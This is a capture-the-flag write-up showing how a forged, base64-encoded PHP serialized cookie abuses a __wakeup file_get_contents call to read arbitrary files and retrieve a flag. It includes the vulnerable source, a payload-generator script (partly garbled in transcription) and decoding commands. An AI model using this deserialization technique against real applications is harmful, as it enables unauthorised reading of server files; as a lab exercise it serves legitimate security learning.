Tags: web serialization php
Rating:
The challenge source code was provided, including the Dockerfile. We could look at the source code first, and try to access the application and see how it works. Accessing the URL, the first page served:

Acessing the register link:

After creating an account and a successful login:

we are served an image and we also get a cookie:

The cookie look like something that was encoded in Base64, and by the looks of it a PHP object serialized, because of the first characters `Tz0` that is `O:` decode. All objects serialized in PHP have the same format, and the only thing that changes are the attributes type (int, string, ...) and the size of them.
```bash
echo -n 'Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjY6InRlc3RlciI7czoxMjoicGljdHVyZV9wYXRoIjtzOjMxOiIvdmFyL3d3dy9odG1sL2F2YXRhci9hdmF0YXIuanBnIjtzOjExOiJwcm9maWxlX3BpYyI7Tjt9' | base64 -d
# Returns
O:4:"User":3:{s:8:"username";s:6:"tester";s:12:"picture_path";s:31:"/var/www/html/avatar/avatar.jpg";s:11:"profile_pic";N;}
```
By the looks of it there is serialization is being used in the web app, but we can confirm that by analyzing the source code. In the index.php:
```php
$tmp = base64_encode(serialize(new User($row['username'], $row['pic_path'])));
setcookie("user", $tmp);
```
that is later used in the home.php file.
```php
$user_obj = unserialize(base64_decode($_COOKIE['user']));
```
The object that is serialized:
```php
class User {
public $username;
public $picture_path;
public $profile_pic;
public function __construct($name, $path) {
$this->username = $name;
$this->picture_path = $path;
}
public function __wakeup() {
$this->profile_pic = file_get_contents($this->picture_path);
}
}
```
If you go to [unserialize](https://www.php.net/manual/en/function.unserialize) function documentation, we will find that "If the variable being unserialized is an object, after successfully reconstructing the object PHP will automatically attempt to call the [\_\_unserialize()](https://www.php.net/manual/en/language.oop5.magic.php#object.unserialize) or [\_\_wakeup()](https://www.php.net/manual/en/language.oop5.magic.php#object.wakeup) methods (if one exists)."
So, if we create an object where we control the *picture_path* variable, we will be able to get the contents of any file, because there is no protection against Path Traversal.
To create the desired object, we can create a simple PHP script, like so
```php
username = $name;
$this->picture_path = $path;
}
}
print(base64_encode(serialize(new User('tester', '/flag'))));
?>
```
We can fing the flag location inside the Dockerfile. Now we can use the payload generated, change the *user* cookie and reload the page. The image does not render now, because the file is not an image, looking into the page source

and decoding the Base64
```bash
echo -n 'Q1RGVUF7cEhwX3VuczNyMWFsaVplX2sxbmd9Cg==' | base64 -d
# We get the flag
CTFUA{pHp_uns3r1aliZe_k1ng}
```
### Some good resources if you want to learn more
<https://medium.com/swlh/exploiting-php-deserialization-56d71f03282a>
<https://book.hacktricks.xyz/pentesting-web/deserialization>